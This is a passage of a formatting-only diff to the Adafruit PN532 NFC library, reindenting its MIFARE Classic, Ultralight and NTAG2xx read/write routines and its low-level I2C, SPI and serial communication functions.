+                                 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
+                                 0x03, 0xE1, 0x03, 0xE1};
+    uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5,
+                                 0x78, 0x77, 0x88, 0xC1, 0xFF, 0xFF,
+                                 0xFF, 0xFF, 0xFF, 0xFF};
+
+    // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A
+    // for the MAD sector in NDEF records (sector 0)
+
+    // Write block 1 and 2 to the card
+    if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1)))
+        return 0;
+    if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2)))
+        return 0;
+    // Write key A and access rights card
+    if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3)))
+        return 0;
+
+    // Seems that everything was OK (?!)
+    return 1;
 }
 
 /**************************************************************************/
@@ -1075,81 +1081,84 @@ uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) {
 uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
                                                    uint8_t uriIdentifier,
                                                    const char *url) {
-  // Figure out how long the string is
-  uint8_t len = strlen(url);
-
-  // Make sure we're within a 1K limit for the sector number
-  if ((sectorNumber < 1) || (sectorNumber > 15))
-    return 0;
-
-  // Make sure the URI payload is between 1 and 38 chars
-  if ((len < 1) || (len > 38))
-    return 0;
-
-  // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A
-  // in NDEF records
-
-  // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message)
-  uint8_t sectorbuffer1[16] = {0x00,
-                               0x00,
-                               0x03,
-                               (uint8_t)(len + 5),
-                               0xD1,
-                               0x01,
-                               (uint8_t)(len + 1),
-                               0x55,
-                               uriIdentifier,
-                               0x00,
-                               0x00,
-                               0x00,
-                               0x00,
-                               0x00,
-                               0x00,
-                               0x00};
-  uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
-  uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
-  uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07,
-                               0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
-  if (len <= 6) {
-    // Unlikely we'll get a url this short, but why not ...
-    memcpy(sectorbuffer1 + 9, url, len);
-    sectorbuffer1[len + 9] = 0xFE;
-  } else if (len == 7) {
-    // 0xFE needs to be wrapped around to next block
-    memcpy(sectorbuffer1 + 9, url, len);
-    sectorbuffer2[0] = 0xFE;
-  } else if ((len > 7) && (len <= 22)) {
-    // Url fits in two blocks
-    memcpy(sectorbuffer1 + 9, url, 7);
-    memcpy(sectorbuffer2, url + 7, len - 7);
-    sectorbuffer2[len - 7] = 0xFE;
-  } else if (len == 23) {
-    // 0xFE needs to be wrapped around to final block
-    memcpy(sectorbuffer1 + 9, url, 7);
-    memcpy(sectorbuffer2, url + 7, len - 7);
-    sectorbuffer3[0] = 0xFE;
-  } else {
-    // Url fits in three blocks
-    memcpy(sectorbuffer1 + 9, url, 7);
-    memcpy(sectorbuffer2, url + 7, 16);
-    memcpy(sectorbuffer3, url + 23, len - 24);
-    sectorbuffer3[len - 22] = 0xFE;
-  }
-
-  // Now write all three blocks back to the card
-  if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1)))
-    return 0;
-  if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2)))
-    return 0;
-  if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3)))
-    return 0;
-  if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4)))
-    return 0;
-
-  // Seems that everything was OK (?!)
-  return 1;
+    // Figure out how long the string is
+    uint8_t len = strlen(url);
+
+    // Make sure we're within a 1K limit for the sector number
+    if ((sectorNumber < 1) || (sectorNumber > 15))
+        return 0;
+
+    // Make sure the URI payload is between 1 and 38 chars
+    if ((len < 1) || (len > 38))
+        return 0;
+
+    // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A
+    // in NDEF records
+
+    // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message)
+    uint8_t sectorbuffer1[16] = {0x00,
+                                 0x00,
+                                 0x03,
+                                 (uint8_t)(len + 5),
+                                 0xD1,
+                                 0x01,
+                                 (uint8_t)(len + 1),
+                                 0x55,
+                                 uriIdentifier,
+                                 0x00,
+                                 0x00,
+                                 0x00,
+                                 0x00,
+                                 0x00,
+                                 0x00,
+                                 0x00};
+    uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                 0x00, 0x00, 0x00, 0x00};
+    uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                 0x00, 0x00, 0x00, 0x00};
+    uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7,
+                                 0x7F, 0x07, 0x88, 0x40, 0xFF, 0xFF,
+                                 0xFF, 0xFF, 0xFF, 0xFF};
+    if (len <= 6) {
+        // Unlikely we'll get a url this short, but why not ...
+        memcpy(sectorbuffer1 + 9, url, len);
+        sectorbuffer1[len + 9] = 0xFE;
+    } else if (len == 7) {
+        // 0xFE needs to be wrapped around to next block
+        memcpy(sectorbuffer1 + 9, url, len);
+        sectorbuffer2[0] = 0xFE;
+    } else if ((len > 7) && (len <= 22)) {
+        // Url fits in two blocks
+        memcpy(sectorbuffer1 + 9, url, 7);
+        memcpy(sectorbuffer2, url + 7, len - 7);
+        sectorbuffer2[len - 7] = 0xFE;
+    } else if (len == 23) {
+        // 0xFE needs to be wrapped around to final block
+        memcpy(sectorbuffer1 + 9, url, 7);
+        memcpy(sectorbuffer2, url + 7, len - 7);
+        sectorbuffer3[0] = 0xFE;
+    } else {
+        // Url fits in three blocks
+        memcpy(sectorbuffer1 + 9, url, 7);
+        memcpy(sectorbuffer2, url + 7, 16);
+        memcpy(sectorbuffer3, url + 23, len - 24);
+        sectorbuffer3[len - 22] = 0xFE;
+    }
+
+    // Now write all three blocks back to the card
+    if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1)))
+        return 0;
+    if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2)))
+        return 0;
+    if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3)))
+        return 0;
+    if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4)))
+        return 0;
+
+    // Seems that everything was OK (?!)
+    return 1;
 }
 
 /***** Mifare Ultralight Functions ******/
@@ -1166,65 +1175,65 @@ uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
 /**************************************************************************/
 uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page,
                                                   uint8_t *buffer) {
-  if (page >= 64) {
+    if (page >= 64) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Page value out of range"));
+        PN532DEBUGPRINT.println(F("Page value out of range"));
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Reading page "));
-  PN532DEBUGPRINT.println(page);
+    PN532DEBUGPRINT.print(F("Reading page "));
+    PN532DEBUGPRINT.println(page);
 #endif
 
-  /* Prepare the command */
-  pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = 1;               /* Card number */
-  pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */
-  pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */
+    /* Prepare the command */
+    pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = 1;               /* Card number */
+    pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */
+    pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */
 
-  /* Send the command */
-  if (!sendCommandCheckAck(pn532_packetbuffer, 4)) {
+    /* Send the command */
+    if (!sendCommandCheckAck(pn532_packetbuffer, 4)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
+        PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
-  /* Read the response packet */
-  readdata(pn532_packetbuffer, 26);
+    /* Read the response packet */
+    readdata(pn532_packetbuffer, 26);
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.println(F("Received: "));
-  Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
+    PN532DEBUGPRINT.println(F("Received: "));
+    Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
 #endif
 
-  /* If byte 8 isn't 0x00 we probably have an error */
-  if (pn532_packetbuffer[7] == 0x00) {
-    /* Copy the 4 data bytes to the output buffer         */
-    /* Block content starts at byte 9 of a valid response */
-    /* Note that the command actually reads 16 byte or 4  */
-    /* pages at a time ... we simply discard the last 12  */
-    /* bytes                                              */
-    memcpy(buffer, pn532_packetbuffer + 8, 4);
-  } else {
+    /* If byte 8 isn't 0x00 we probably have an error */
+    if (pn532_packetbuffer[7] == 0x00) {
+        /* Copy the 4 data bytes to the output buffer         */
+        /* Block content starts at byte 9 of a valid response */
+        /* Note that the command actually reads 16 byte or 4  */
+        /* pages at a time ... we simply discard the last 12  */
+        /* bytes                                              */
+        memcpy(buffer, pn532_packetbuffer + 8, 4);
+    } else {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Unexpected response reading block: "));
-    Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
+        PN532DEBUGPRINT.println(F("Unexpected response reading block: "));
+        Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
 /* Display data for debug if requested */
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Page "));
-  PN532DEBUGPRINT.print(page);
-  PN532DEBUGPRINT.println(F(":"));
-  Adafruit_PN532::PrintHexChar(buffer, 4);
+    PN532DEBUGPRINT.print(F("Page "));
+    PN532DEBUGPRINT.print(page);
+    PN532DEBUGPRINT.println(F(":"));
+    Adafruit_PN532::PrintHexChar(buffer, 4);
 #endif
 
-  // Return OK signal
-  return 1;
+    // Return OK signal
+    return 1;
 }
 
 /**************************************************************************/
@@ -1242,43 +1251,44 @@ uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page,
 uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page,
                                                    uint8_t *data) {
 
-  if (page >= 64) {
+    if (page >= 64) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Page value out of range"));
+        PN532DEBUGPRINT.println(F("Page value out of range"));
 #endif
-    // Return Failed Signal
-    return 0;
-  }
+        // Return Failed Signal
+        return 0;
+    }
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Trying to write 4 byte page"));
-  PN532DEBUGPRINT.println(page);
+    PN532DEBUGPRINT.print(F("Trying to write 4 byte page"));
+    PN532DEBUGPRINT.println(page);
 #endif
 
-  /* Prepare the first command */
-  pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = 1; /* Card number */
-  pn532_packetbuffer[2] =
-      MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */
-  pn532_packetbuffer[3] = page;    /* Page Number (0..63 for most cases) */
-  memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
-
-  /* Send the command */
-  if (!sendCommandCheckAck(pn532_packetbuffer, 8)) {
+    /* Prepare the first command */
+    pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = 1; /* Card number */
+    pn532_packetbuffer[2] =
+        MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2
+                                      */
+    pn532_packetbuffer[3] = page;    /* Page Number (0..63 for most cases) */
+    memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
+
+    /* Send the command */
+    if (!sendCommandCheckAck(pn532_packetbuffer, 8)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
+        PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
 #endif
 
-    // Return Failed Signal
-    return 0;
-  }
-  delay(10);
+        // Return Failed Signal
+        return 0;
+    }
+    delay(10);
 
-  /* Read the response packet */
-  readdata(pn532_packetbuffer, 26);
+    /* Read the response packet */
+    readdata(pn532_packetbuffer, 26);
 
-  // Return OK Signal
-  return 1;
+    // Return OK Signal
+    return 1;
 }
 
 /***** NTAG2xx Functions ******/
@@ -1294,72 +1304,72 @@ uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page,
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) {
-  // TAG Type       PAGES   USER START    USER STOP
-  // --------       -----   ----------    ---------
-  // NTAG 203       42      4             39
-  // NTAG 213       45      4             39
-  // NTAG 215       135     4             129
-  // NTAG 216       231     4             225
-
-  if (page >= 231) {
+    // TAG Type       PAGES   USER START    USER STOP
+    // --------       -----   ----------    ---------
+    // NTAG 203       42      4             39
+    // NTAG 213       45      4             39
+    // NTAG 215       135     4             129
+    // NTAG 216       231     4             225
+
+    if (page >= 231) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Page value out of range"));
+        PN532DEBUGPRINT.println(F("Page value out of range"));
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Reading page "));
-  PN532DEBUGPRINT.println(page);
+    PN532DEBUGPRINT.print(F("Reading page "));
+    PN532DEBUGPRINT.println(page);
 #endif
 
-  /* Prepare the command */
-  pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = 1;               /* Card number */
-  pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */
-  pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */
+    /* Prepare the command */
+    pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = 1;               /* Card number */
+    pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */
+    pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */
 
-  /* Send the command */
-  if (!sendCommandCheckAck(pn532_packetbuffer, 4)) {
+    /* Send the command */
+    if (!sendCommandCheckAck(pn532_packetbuffer, 4)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
+        PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
-  /* Read the response packet */
-  readdata(pn532_packetbuffer, 26);
+    /* Read the response packet */
+    readdata(pn532_packetbuffer, 26);
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.println(F("Received: "));
-  Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
+    PN532DEBUGPRINT.println(F("Received: "));
+    Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
 #endif
 
-  /* If byte 8 isn't 0x00 we probably have an error */
-  if (pn532_packetbuffer[7] == 0x00) {
-    /* Copy the 4 data bytes to the output buffer         */
-    /* Block content starts at byte 9 of a valid response */
-    /* Note that the command actually reads 16 byte or 4  */
-    /* pages at a time ... we simply discard the last 12  */
-    /* bytes                                              */
-    memcpy(buffer, pn532_packetbuffer + 8, 4);
-  } else {
+    /* If byte 8 isn't 0x00 we probably have an error */
+    if (pn532_packetbuffer[7] == 0x00) {
+        /* Copy the 4 data bytes to the output buffer         */
+        /* Block content starts at byte 9 of a valid response */
+        /* Note that the command actually reads 16 byte or 4  */
+        /* pages at a time ... we simply discard the last 12  */
+        /* bytes                                              */
+        memcpy(buffer, pn532_packetbuffer + 8, 4);
+    } else {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Unexpected response reading block: "));
-    Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
+        PN532DEBUGPRINT.println(F("Unexpected response reading block: "));
+        Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26);
 #endif
-    return 0;
-  }
+        return 0;
+    }
 
 /* Display data for debug if requested */
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Page "));
-  PN532DEBUGPRINT.print(page);
-  PN532DEBUGPRINT.println(F(":"));
-  Adafruit_PN532::PrintHexChar(buffer, 4);
+    PN532DEBUGPRINT.print(F("Page "));
+    PN532DEBUGPRINT.print(page);
+    PN532DEBUGPRINT.println(F(":"));
+    Adafruit_PN532::PrintHexChar(buffer, 4);
 #endif
 
-  // Return OK signal
-  return 1;
+    // Return OK signal
+    return 1;
 }
 
 /**************************************************************************/
@@ -1375,50 +1385,51 @@ uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) {
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) {
-  // TAG Type       PAGES   USER START    USER STOP
-  // --------       -----   ----------    ---------
-  // NTAG 203       42      4             39
-  // NTAG 213       45      4             39
-  // NTAG 215       135     4             129
-  // NTAG 216       231     4             225
-
-  if ((page < 4) || (page > 225)) {
+    // TAG Type       PAGES   USER START    USER STOP
+    // --------       -----   ----------    ---------
+    // NTAG 203       42      4             39
+    // NTAG 213       45      4             39
+    // NTAG 215       135     4             129
+    // NTAG 216       231     4             225
+
+    if ((page < 4) || (page > 225)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Page value out of range"));
+        PN532DEBUGPRINT.println(F("Page value out of range"));
 #endif
-    // Return Failed Signal
-    return 0;
-  }
+        // Return Failed Signal
+        return 0;
+    }
 
 #ifdef MIFAREDEBUG
-  PN532DEBUGPRINT.print(F("Trying to write 4 byte page"));
-  PN532DEBUGPRINT.println(page);
+    PN532DEBUGPRINT.print(F("Trying to write 4 byte page"));
+    PN532DEBUGPRINT.println(page);
 #endif
 
-  /* Prepare the first command */
-  pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
-  pn532_packetbuffer[1] = 1; /* Card number */
-  pn532_packetbuffer[2] =
-      MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */
-  pn532_packetbuffer[3] = page;    /* Page Number (0..63 for most cases) */
-  memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
-
-  /* Send the command */
-  if (!sendCommandCheckAck(pn532_packetbuffer, 8)) {
+    /* Prepare the first command */
+    pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
+    pn532_packetbuffer[1] = 1; /* Card number */
+    pn532_packetbuffer[2] =
+        MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2
+                                      */
+    pn532_packetbuffer[3] = page;    /* Page Number (0..63 for most cases) */
+    memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
+
+    /* Send the command */
+    if (!sendCommandCheckAck(pn532_packetbuffer, 8)) {
 #ifdef MIFAREDEBUG
-    PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
+        PN532DEBUGPRINT.println(F("Failed to receive ACK for write command"));
 #endif
 
-    // Return Failed Signal
-    return 0;
-  }
-  delay(10);
+        // Return Failed Signal
+        return 0;
+    }
+    delay(10);
 
-  /* Read the response packet */
-  readdata(pn532_packetbuffer, 26);
+    /* Read the response packet */
+    readdata(pn532_packetbuffer, 26);
 
-  // Return OK Signal
-  return 1;
+    // Return OK Signal
+    return 1;
 }
 
 /**************************************************************************/
@@ -1438,86 +1449,87 @@ uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) {
 /**************************************************************************/
 uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
                                              uint8_t dataLen) {
-  uint8_t pageBuffer[4] = {0, 0, 0, 0};
-
-  // Remove NDEF record overhead from the URI data (pageHeader below)
-  uint8_t wrapperSize = 12;
-
-  // Figure out how long the string is
-  uint8_t len = strlen(url);
-
-  // Make sure the URI payload will fit in dataLen (include 0xFE trailer)
-  if ((len < 1) || (len + 1 > (dataLen - wrapperSize)))
-    return 0;
-
-  // Setup the record header
-  // See NFCForum-TS-Type-2-Tag_1.1.pdf for details
-  uint8_t pageHeader[12] = {
-      /* NDEF Lock Control TLV (must be first and always present) */
-      0x01, /* Tag Field (0x01 = Lock Control TLV) */
-      0x03, /* Payload Length (always 3) */
-      0xA0, /* The position inside the tag of the lock bytes (upper 4 = page
-               address, lower 4 = byte offset) */
-      0x10, /* Size in bits of the lock area */
-      0x44, /* Size in bytes of a page and the number of bytes each lock bit can
-               lock (4 bit + 4 bits) */
-      /* NDEF Message TLV - URI Record */
-      0x03,               /* Tag Field (0x03 = NDEF Message) */
-      (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */
-      0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */
-      0x01, /* Type Length for the record type indicator */
-      (uint8_t)(len + 1), /* Payload len */
-      0x55,               /* Record Type Indicator (0x55 or 'U' = URI Record) */
-      uriIdentifier       /* URI Prefix (ex. 0x01 = "http://www.") */
-  };
-
-  // Write 12 byte header (three pages of data starting at page 4)
-  memcpy(pageBuffer, pageHeader, 4);
-  if (!(ntag2xx_WritePage(4, pageBuffer)))
-    return 0;
-  memcpy(pageBuffer, pageHeader + 4, 4);
-  if (!(ntag2xx_WritePage(5, pageBuffer)))
-    return 0;
-  memcpy(pageBuffer, pageHeader + 8, 4);
-  if (!(ntag2xx_WritePage(6, pageBuffer)))
-    return 0;
-
-  // Write URI (starting at page 7)
-  uint8_t currentPage = 7;
-  char *urlcopy = url;
-  while (len) {
-    if (len < 4) {
-      memset(pageBuffer, 0, 4);
-      memcpy(pageBuffer, urlcopy, len);
-      pageBuffer[len] = 0xFE; // NDEF record footer
-      if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+    uint8_t pageBuffer[4] = {0, 0, 0, 0};
+
+    // Remove NDEF record overhead from the URI data (pageHeader below)
+    uint8_t wrapperSize = 12;
+
+    // Figure out how long the string is
+    uint8_t len = strlen(url);
+
+    // Make sure the URI payload will fit in dataLen (include 0xFE trailer)
+    if ((len < 1) || (len + 1 > (dataLen - wrapperSize)))
         return 0;
-      // DONE!
-      return 1;
-    } else if (len == 4) {
-      memcpy(pageBuffer, urlcopy, len);
-      if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+
+    // Setup the record header
+    // See NFCForum-TS-Type-2-Tag_1.1.pdf for details
+    uint8_t pageHeader[12] = {
+        /* NDEF Lock Control TLV (must be first and always present) */
+        0x01, /* Tag Field (0x01 = Lock Control TLV) */
+        0x03, /* Payload Length (always 3) */
+        0xA0, /* The position inside the tag of the lock bytes (upper 4 = page
+                 address, lower 4 = byte offset) */
+        0x10, /* Size in bits of the lock area */
+        0x44, /* Size in bytes of a page and the number of bytes each lock bit
+                 can lock (4 bit + 4 bits) */
+        /* NDEF Message TLV - URI Record */
+        0x03,               /* Tag Field (0x03 = NDEF Message) */
+        (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */
+        0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB)
+               */
+        0x01, /* Type Length for the record type indicator */
+        (uint8_t)(len + 1), /* Payload len */
+        0x55,         /* Record Type Indicator (0x55 or 'U' = URI Record) */
+        uriIdentifier /* URI Prefix (ex. 0x01 = "http://www.") */
+    };
+
+    // Write 12 byte header (three pages of data starting at page 4)
+    memcpy(pageBuffer, pageHeader, 4);
+    if (!(ntag2xx_WritePage(4, pageBuffer)))
         return 0;
-      memset(pageBuffer, 0, 4);
-      pageBuffer[0] = 0xFE; // NDEF record footer
-      currentPage++;
-      if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+    memcpy(pageBuffer, pageHeader + 4, 4);
+    if (!(ntag2xx_WritePage(5, pageBuffer)))
         return 0;
-      // DONE!
-      return 1;
-    } else {
-      // More than one page of data left
-      memcpy(pageBuffer, urlcopy, 4);
-      if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+    memcpy(pageBuffer, pageHeader + 8, 4);
+    if (!(ntag2xx_WritePage(6, pageBuffer)))
         return 0;
-      currentPage++;
-      urlcopy += 4;
-      len -= 4;
+
+    // Write URI (starting at page 7)
+    uint8_t currentPage = 7;
+    char *urlcopy = url;
+    while (len) {
+        if (len < 4) {
+            memset(pageBuffer, 0, 4);
+            memcpy(pageBuffer, urlcopy, len);
+            pageBuffer[len] = 0xFE; // NDEF record footer
+            if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+                return 0;
+            // DONE!
+            return 1;
+        } else if (len == 4) {
+            memcpy(pageBuffer, urlcopy, len);
+            if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+                return 0;
+            memset(pageBuffer, 0, 4);
+            pageBuffer[0] = 0xFE; // NDEF record footer
+            currentPage++;
+            if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+                return 0;
+            // DONE!
+            return 1;
+        } else {
+            // More than one page of data left
+            memcpy(pageBuffer, urlcopy, 4);
+            if (!(ntag2xx_WritePage(currentPage, pageBuffer)))
+                return 0;
+            currentPage++;
+            urlcopy += 4;
+            len -= 4;
+        }
     }
-  }
 
-  // Seems that everything was OK (?!)
-  return 1;
+    // Seems that everything was OK (?!)
+    return 1;
 }
 
 /************** high level communication functions (handles both I2C and SPI) */
@@ -1528,16 +1540,16 @@ uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
 */
 /**************************************************************************/
 bool Adafruit_PN532::readack() {
-  uint8_t ackbuff[6];
+    uint8_t ackbuff[6];
 
-  if (spi_dev) {
-    uint8_t cmd = PN532_SPI_DATAREAD;
-    spi_dev->write_then_read(&cmd, 1, ackbuff, 6);
-  } else if (i2c_dev || ser_dev) {
-    readdata(ackbuff, 6);
-  }
+    if (spi_dev) {
+        uint8_t cmd = PN532_SPI_DATAREAD;
+        spi_dev->write_then_read(&cmd, 1, ackbuff, 6);
+    } else if (i2c_dev || ser_dev) {
+        readdata(ackbuff, 6);
+    }
 
-  return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6));
+    return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6));
 }
 
 /**************************************************************************/
@@ -1546,25 +1558,25 @@ bool Adafruit_PN532::readack() {
 */
 /**************************************************************************/
 bool Adafruit_PN532::isready() {
-  if (spi_dev) {
-    // SPI ready check via Status Request
-    uint8_t cmd = PN532_SPI_STATREAD;
-    uint8_t reply;
-    spi_dev->write_then_read(&cmd, 1, &reply, 1);
-    return reply == PN532_SPI_READY;
-  } else if (i2c_dev) {
-    // I2C ready check via reading RDY byte
-    uint8_t rdy[1];
-    i2c_dev->read(rdy, 1);
-    return rdy[0] == PN532_I2C_READY;
-  } else if (ser_dev) {
-    // Serial ready check based on non-zero read buffer
-    return (ser_dev->available() != 0);
-  } else if (_irq != -1) {
-    uint8_t x = digitalRead(_irq);
-    return x == 0;
-  }
-  return false;
+    if (spi_dev) {
+        // SPI ready check via Status Request
+        uint8_t cmd = PN532_SPI_STATREAD;
+        uint8_t reply;
+        spi_dev->write_then_read(&cmd, 1, &reply, 1);
+        return reply == PN532_SPI_READY;
+    } else if (i2c_dev) {
+        // I2C ready check via reading RDY byte
+        uint8_t rdy[1];
+        i2c_dev->read(rdy, 1);
+        return rdy[0] == PN532_I2C_READY;
+    } else if (ser_dev) {
+        // Serial ready check based on non-zero read buffer
+        return (ser_dev->available() != 0);
+    } else if (_irq != -1) {
+        uint8_t x = digitalRead(_irq);
+        return x == 0;
+    }
+    return false;
 }
 
 /**************************************************************************/
@@ -1575,20 +1587,20 @@ bool Adafruit_PN532::isready() {
 */
 /**************************************************************************/
 bool Adafruit_PN532::waitready(uint16_t timeout) {
-  uint16_t timer = 0;
-  while (!isready()) {
-    if (timeout != 0) {
-      timer += 10;
-      if (timer > timeout) {
+    uint16_t timer = 0;
+    while (!isready()) {
+        if (timeout != 0) {
+            timer += 10;
+            if (timer > timeout) {
 #ifdef PN532DEBUG
-        PN532DEBUGPRINT.println("TIMEOUT!");
+                PN532DEBUGPRINT.println("TIMEOUT!");
 #endif
-        return false;
-      }
+                return false;
+            }
+        }
+        delay(10);
     }
-    delay(10);
-  }
-  return true;
+    return true;
 }
 
 /**************************************************************************/
@@ -1600,28 +1612,28 @@ bool Adafruit_PN532::waitready(uint16_t timeout) {
 */
 /**************************************************************************/
 void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) {
-  if (spi_dev) {
-    // SPI read
-    uint8_t cmd = PN532_SPI_DATAREAD;
-    spi_dev->write_then_read(&cmd, 1, buff, n);
-  } else if (i2c_dev) {
-    // I2C read
-    uint8_t rbuff[n + 1]; // +1 for leading RDY byte
